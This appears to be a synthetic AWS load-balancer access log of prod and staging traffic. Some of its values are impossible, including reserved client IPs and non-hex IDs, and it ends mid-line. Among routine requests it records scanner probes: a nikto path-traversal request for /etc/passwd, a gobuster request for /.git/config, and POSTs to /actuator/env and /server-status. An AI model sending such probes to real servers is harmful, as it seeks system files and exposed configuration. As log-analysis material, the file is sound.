arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d318-ccffe349720b47fb9751f9ec" "prod-web-alb.example.com" "-" 3 2024-11-01T01:57:28.262099Z "forward" "-" "-" "10.0.67.142:443" "200" "-" "-" -http 2024-11-01T01:57:29.150423Z staging-alb 89.160.139.44:60351 26.235.205.208:443 0.017029 0.745979 0.144930 200 200 669 13495 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d319-27bfac80a77c4523a481897f" "staging-alb.example.com" "-" 4 2024-11-01T01:57:29.150423Z "forward" "-" "-" "26.235.205.208:443" "200" "-" "-" -http 2024-11-01T01:57:30.362291Z staging-alb 71.221.116.164:64489 163.206.36.112:80 0.046710 0.261271 0.028029 200 200 187 12167 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d31a-cb725a823d8749a3b42364d7" "staging-alb.example.com" "-" 5 2024-11-01T01:57:30.362291Z "forward" "-" "-" "163.206.36.112:80" "200" "-" "-" -https 2024-11-01T01:57:31.285727Z prod-api-alb 201.90.112.75:58045 10.0.115.91:443 0.016412 0.121596 0.037589 200 200 359 10208 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d31b-8ea1412b6d064daf9a6ce36c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:57:31.285727Z "forward" "-" "-" "10.0.115.91:443" "200" "-" "-" -https 2024-11-01T01:57:31.881319Z staging-alb 103.124.138.66:25339 207.211.5.243:80 0.133296 0.616551 0.056429 404 404 305 5107 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d31b-0aa3af08050a46dcb5759b63" "staging-alb.example.com" "-" 5 2024-11-01T01:57:31.881319Z "forward" "-" "-" "207.211.5.243:80" "404" "-" "-" -https 2024-11-01T01:57:33.493982Z staging-alb 72.204.49.91:48854 120.44.146.69:8080 0.052993 0.568608 0.107534 200 200 870 12660 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d31d-d8aaac0a07d148939de0f53c" "staging-alb.example.com" "-" 5 2024-11-01T01:57:33.493982Z "forward" "-" "-" "120.44.146.69:8080" "200" "-" "-" -https 2024-11-01T01:57:33.818958Z prod-web-alb 176.252.180.190:19741 10.0.154.143:443 0.048334 0.240407 0.027208 302 302 828 1289 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d31d-a98c751078d54702a47a4ea8" "prod-web-alb.example.com" "-" 2 2024-11-01T01:57:33.818958Z "forward" "-" "-" "10.0.154.143:443" "302" "-" "-" -https 2024-11-01T01:57:35.437342Z staging-alb 238.248.131.220:19671 201.80.228.28:443 0.092425 0.748341 0.122736 200 200 455 8028 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d31f-be64260eb7fe46978d200c31" "-" "-" 9 2024-11-01T01:57:35.437342Z "forward" "-" "-" "201.80.228.28:443" "200" "-" "-" -https 2024-11-01T01:57:35.543300Z prod-web-alb 113.198.159.36:49334 10.0.136.195:443 0.057372 0.329755 0.004594 404 404 38 4756 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d31f-841e0021db104f5c88fbb845" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:35.543300Z "forward" "-" "-" "10.0.136.195:443" "404" "-" "-" -https 2024-11-01T01:57:37.451981Z prod-api-alb 45.155.205.19:19243 10.0.206.6:443 0.076474 0.286916 0.020096 403 403 830 14513 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d321-cf4b16586e664e33ac75f3ab" "-" "-" 1 2024-11-01T01:57:37.451981Z "forward" "-" "-" "10.0.206.6:443" "403" "-" "-" -https 2024-11-01T01:57:38.325922Z prod-api-alb 176.211.172.177:10135 10.0.144.254:443 0.040158 0.361989 0.000432 301 301 962 5762 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d322-0ca9aceb795949c0b73199e9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:57:38.325922Z "forward" "-" "-" "10.0.144.254:443" "301" "-" "-" -https 2024-11-01T01:57:40.296628Z prod-web-alb 67.237.218.224:10132 10.0.21.176:443 0.097477 0.273361 0.078069 200 200 502 7112 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d324-f48f22cd158c4e25bd055a30" "prod-web-alb.example.com" "-" 6 2024-11-01T01:57:40.296628Z "forward" "-" "-" "10.0.21.176:443" "200" "-" "-" -https 2024-11-01T01:57:40.593540Z prod-api-alb 89.43.238.218:43755 10.0.184.247:443 0.049086 0.196781 0.089627 200 200 623 5462 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d324-3ce63222b6ad46fcaa44a659" "prod-api-alb.example.com" "-" 0 2024-11-01T01:57:40.593540Z "forward" "-" "-" "10.0.184.247:443" "200" "-" "-" -https 2024-11-01T01:57:41.178258Z prod-api-alb 210.184.165.22:44385 10.0.65.81:443 0.097100 0.278921 0.055006 404 404 316 6778 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d325-0a18308dcd2444258968a211" "prod-api-alb.example.com" "-" 5 2024-11-01T01:57:41.178258Z "forward" "-" "-" "10.0.65.81:443" "404" "-" "-" -http 2024-11-01T01:57:41.866199Z staging-alb 65.55.175.190:10607 164.252.225.221:80 0.093620 0.442981 0.063864 200 200 962 5860 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d325-b74269ff88fb4c5e94977e8d" "staging-alb.example.com" "-" 4 2024-11-01T01:57:41.866199Z "forward" "-" "-" "164.252.225.221:80" "200" "-" "-" -https 2024-11-01T01:57:42.776484Z prod-web-alb 193.27.228.48:14697 10.0.143.203:443 0.055050 0.285282 0.034961 403 403 340 2627 "GET /.git/config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d326-4641deaab0ac47c08e0bbced" "-" "-" 7 2024-11-01T01:57:42.776484Z "forward" "-" "-" "10.0.143.203:443" "403" "-" "-" -https 2024-11-01T01:57:44.438610Z prod-web-alb 46.121.68.100:25058 10.0.246.198:443 0.069455 0.225279 0.045792 301 301 520 437 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d328-ea556a63e38e4206bc93aa4b" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:44.438610Z "forward" "-" "-" "10.0.246.198:443" "301" "-" "-" -https 2024-11-01T01:57:44.995511Z prod-api-alb 252.82.163.75:12279 10.0.157.222:443 0.057281 0.152038 0.026551 200 200 130 547 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d328-45a4b8d7560344dbb8c2785b" "prod-api-alb.example.com" "-" 9 2024-11-01T01:57:44.995511Z "forward" "-" "-" "10.0.157.222:443" "200" "-" "-" -https 2024-11-01T01:57:45.133093Z prod-web-alb 73.185.14.152:16987 10.0.211.174:443 0.081156 0.483338 0.002587 200 200 666 3506 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d329-14880e395a0c466097ab2372" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:45.133093Z "forward" "-" "-" "10.0.211.174:443" "200" "-" "-" -https 2024-11-01T01:57:47.064650Z prod-api-alb 185.181.119.128:14358 10.0.86.183:443 0.003603 0.292389 0.017607 500 500 6 338 "POST /actuator/env HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d32b-9867835cfcde4d52a6bf534a" "-" "-" 1 2024-11-01T01:57:47.064650Z "forward" "-" "-" "10.0.86.183:443" "500" "-" "-" -https 2024-11-01T01:57:49.029121Z staging-alb 239.72.153.181:57971 244.44.89.216:8080 0.142618 0.027239 0.056533 200 200 86 10370 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d32d-c60b8598855b461d8256daba" "staging-alb.example.com" "-" 7 2024-11-01T01:57:49.029121Z "forward" "-" "-" "244.44.89.216:8080" "200" "-" "-" -https 2024-11-01T01:57:50.895403Z prod-api-alb 137.139.247.42:52777 10.0.128.73:443 0.082736 0.476360 0.037529 200 200 135 13125 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d32e-09f895d8a1cf43a0ae1d791f" "prod-api-alb.example.com" "-" 8 2024-11-01T01:57:50.895403Z "forward" "-" "-" "10.0.128.73:443" "200" "-" "-" -https 2024-11-01T01:57:52.830387Z prod-api-alb 67.255.25.113:20269 10.0.35.209:443 0.055428 0.412591 0.049773 200 200 564 6487 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d330-2bd680c5561a40d98d8fc661" "prod-api-alb.example.com" "-" 3 2024-11-01T01:57:52.830387Z "forward" "-" "-" "10.0.35.209:443" "200" "-" "-" -https 2024-11-01T01:57:53.408797Z prod-web-alb 216.168.211.159:55434 10.0.63.240:443 0.033278 0.475026 0.033751 200 200 649 6954 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d331-1cbdfe8d1f484eae93627f64" "prod-web-alb.example.com" "-" 0 2024-11-01T01:57:53.408797Z "forward" "-" "-" "10.0.63.240:443" "200" "-" "-" -https 2024-11-01T01:57:53.741265Z prod-api-alb 87.142.72.92:19284 10.0.66.66:443 0.083035 0.465518 0.068374 200 200 942 3803 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d331-30acc35fe2894dea909851c4" "prod-api-alb.example.com" "-" 1 2024-11-01T01:57:53.741265Z "forward" "-" "-" "10.0.66.66:443" "200" "-" "-" -https 2024-11-01T01:57:55.447287Z prod-api-alb 86.199.199.15:16548 10.0.103.13:443 0.054676 0.111272 0.011825 404 404 724 2659 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d333-4ac15f8b4568405e95a1267d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:57:55.447287Z "forward" "-" "-" "10.0.103.13:443" "404" "-" "-" -http 2024-11-01T01:57:57.425139Z staging-alb 82.66.189.56:14001 153.100.221.137:443 0.071176 0.382051 0.146474 200 200 29 10077 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d335-94d8aec05985451abdf460b5" "staging-alb.example.com" "-" 10 2024-11-01T01:57:57.425139Z "forward" "-" "-" "153.100.221.137:443" "200" "-" "-" -https 2024-11-01T01:57:58.813549Z staging-alb 152.219.74.216:25465 207.19.68.229:8080 0.063340 0.709883 0.135326 200 200 548 4652 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d336-8712aaaaa4c0407a8d55ca96" "staging-alb.example.com" "-" 0 2024-11-01T01:57:58.813549Z "forward" "-" "-" "207.19.68.229:8080" "200" "-" "-" -https 2024-11-01T01:58:00.201364Z prod-web-alb 111.118.195.134:63689 10.0.244.215:443 0.058775 0.469183 0.031808 302 302 610 3045 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d338-6d00e5d1f58e4b9fbbba17b1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:58:00.201364Z "forward" "-" "-" "10.0.244.215:443" "302" "-" "-" -https 2024-11-01T01:58:01.216124Z prod-web-alb 103.55.255.98:40417 10.0.110.183:443 0.061408 0.092198 0.067099 200 200 89 13362 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d339-bc4a6d4859e54f399a6625c2" "prod-web-alb.example.com" "-" 7 2024-11-01T01:58:01.216124Z "forward" "-" "-" "10.0.110.183:443" "200" "-" "-" -http 2024-11-01T01:58:01.758995Z staging-alb 32.112.161.196:46897 237.134.209.195:443 0.093788 0.734699 0.073893 200 200 225 11563 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d339-9a29a9a64e8f4e6dbe8fd943" "staging-alb.example.com" "-" 0 2024-11-01T01:58:01.758995Z "forward" "-" "-" "237.134.209.195:443" "200" "-" "-" -https 2024-11-01T01:58:02.700856Z prod-web-alb 119.18.188.167:10479 10.0.42.33:443 0.033617 0.201471 0.045523 404 404 478 4999 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33a-9553cd7a660e40299a17c963" "prod-web-alb.example.com" "-" 4 2024-11-01T01:58:02.700856Z "forward" "-" "-" "10.0.42.33:443" "404" "-" "-" -https 2024-11-01T01:58:03.365869Z staging-alb 255.141.188.97:39980 21.132.183.192:80 0.055264 0.340473 0.098825 200 200 275 8720 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d33b-e93e3eae275941418a59c10f" "staging-alb.example.com" "-" 3 2024-11-01T01:58:03.365869Z "forward" "-" "-" "21.132.183.192:80" "200" "-" "-" -https 2024-11-01T01:58:04.711132Z prod-web-alb 239.48.113.201:63136 10.0.249.123:443 0.005850 0.483993 0.018139 404 404 485 603 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d33c-48d683b010c6489b85bff6bf" "prod-web-alb.example.com" "-" 5 2024-11-01T01:58:04.711132Z "forward" "-" "-" "10.0.249.123:443" "404" "-" "-" -https 2024-11-01T01:58:04.994421Z prod-web-alb 168.144.231.9:20132 10.0.249.43:443 0.066331 0.024599 0.005109 200 200 13 3826 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33c-a533299104e24277848cb930" "prod-web-alb.example.com" "-" 9 2024-11-01T01:58:04.994421Z "forward" "-" "-" "10.0.249.43:443" "200" "-" "-" -https 2024-11-01T01:58:05.255888Z prod-web-alb 210.173.4.218:29516 10.0.200.154:443 0.068426 0.445069 0.072418 200 200 821 8806 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33d-8466c3fee46d4a649361345d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:58:05.255888Z "forward" "-" "-" "10.0.200.154:443" "200" "-" "-" -https 2024-11-01T01:58:06.309884Z prod-web-alb 200.251.19.240:33159 10.0.234.121:443 0.099637 0.047378 0.093910 200 200 470 6521 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d33e-ca63b11afe25464590001347" "prod-web-alb.example.com" "-" 5 2024-11-01T01:58:06.309884Z "forward" "-" "-" "10.0.234.121:443" "200" "-" "-" -https 2024-11-01T01:58:06.593838Z prod-web-alb 203.205.28.203:39936 10.0.111.137:443 0.064228 0.048335 0.095290 404 404 249 3028 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d33e-38bba34d4ec749f988c3041f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:58:06.593838Z "forward" "-" "-" "10.0.111.137:443" "404" "-" "-" -https 2024-11-01T01:58:07.927469Z prod-web-alb 157.94.134.151:24046 10.0.245.106:443 0.037666 0.326264 0.096760 200 200 508 2114 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d33f-9eed9c84d84c4655b99a7d1b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:58:07.927469Z "forward" "-" "-" "10.0.245.106:443" "200" "-" "-" -https 2024-11-01T01:58:09.151576Z prod-web-alb 152.71.0.4:62220 10.0.128.146:443 0.083167 0.471362 0.037533 301 301 674 3053 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d341-3e0d619fb9594f138b74198a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:58:09.151576Z "forward" "-" "-" "10.0.128.146:443" "301" "-" "-" -https 2024-11-01T01:58:10.319111Z prod-api-alb 114.98.2.108:62974 10.0.156.184:443 0.050788 0.269640 0.009479 200 200 816 12694 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d342-4cb9022604cb44bd89ad0153" "prod-api-alb.example.com" "-" 1 2024-11-01T01:58:10.319111Z "forward" "-" "-" "10.0.156.184:443" "200" "-" "-" -https 2024-11-01T01:58:12.201163Z staging-alb 2.27.241.223:53483 95.182.25.145:443 0.041722 0.526218 0.079737 404 404 41 13205 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d344-7ca127121959420482fc80c1" "staging-alb.example.com" "-" 4 2024-11-01T01:58:12.201163Z "forward" "-" "-" "95.182.25.145:443" "404" "-" "-" -https 2024-11-01T01:58:12.818854Z prod-web-alb 110.218.170.236:56112 10.0.104.91:443 0.027435 0.145251 0.052648 200 200 0 14747 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d344-c34a80b45ad9465f982177a4" "prod-web-alb.example.com" "-" 10 2024-11-01T01:58:12.818854Z "forward" "-" "-" "10.0.104.91:443" "200" "-" "-" -https 2024-11-01T01:58:13.135348Z prod-web-alb 193.27.228.121:39867 10.0.161.221:443 0.059358 0.382320 0.060720 500 500 389 13572 "POST /server-status HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d345-4b36cd6c1a424214b96f620c" "-" "-" 9 2024-11-01T01:58:13.135348Z "forward" "-" "-" "10.0.161.221:443" "500" "-" "-" -https 2024-11-01T01:58:13.955489Z prod-web-alb 108.120.229.167:11499 10.0.4.242:443 0.014976 0.130285 0.028039 200 200 992 3863 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d345-cd9cecaa1e974a8ebc82415e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:58:13.955489Z "forward" "-" "-" "10.0.4.242:443" "200" "-" "-" -https 2024-11-01T01:58:15.429417Z staging-alb 209.194.162.230:19491 136.56.24.253:80 0.054243 0.608838 0.081000 404 404 876 2128 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d347-3ad095e3ef6e4e7798b58628" "staging-alb.example.com" "-" 8 2024-11-01T01:58:15.429417Z "forward" "-" "-" "136.56.24.253:80" "404" "-" "-" -http 2024-11-01T01:58:15.880991Z staging-alb 210.71.77.203:14933 201.67.102.157:443 0.079431 0.122598 0.041545 200 200 422 3716 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d347-69cdcc37205d412484be3bf3" "staging-alb.example.com" "-" 10 2024-11-01T01:58:15.880991Z "forward" "-" "-" "201.67.102.157:443" "200" "-" "-" -https 2024-11-01T01:58:17.273362Z prod-web-alb 106.102.198.137:57838 10.0.41.108:443 0.013553 0.113892 0.080279 200 200 233 2841 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d349-5cd8b0d8d21648cfb378512a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:58:17.273362Z "forward" "-" "-" "10.0.41.108:443" "200" "-" "-" -https 2024-11-01T01:58:18.269852Z prod-web-alb 91.237.201.79:10792 10.0.204.182:443 0.035368 0.245617 0.014040 200 200 264 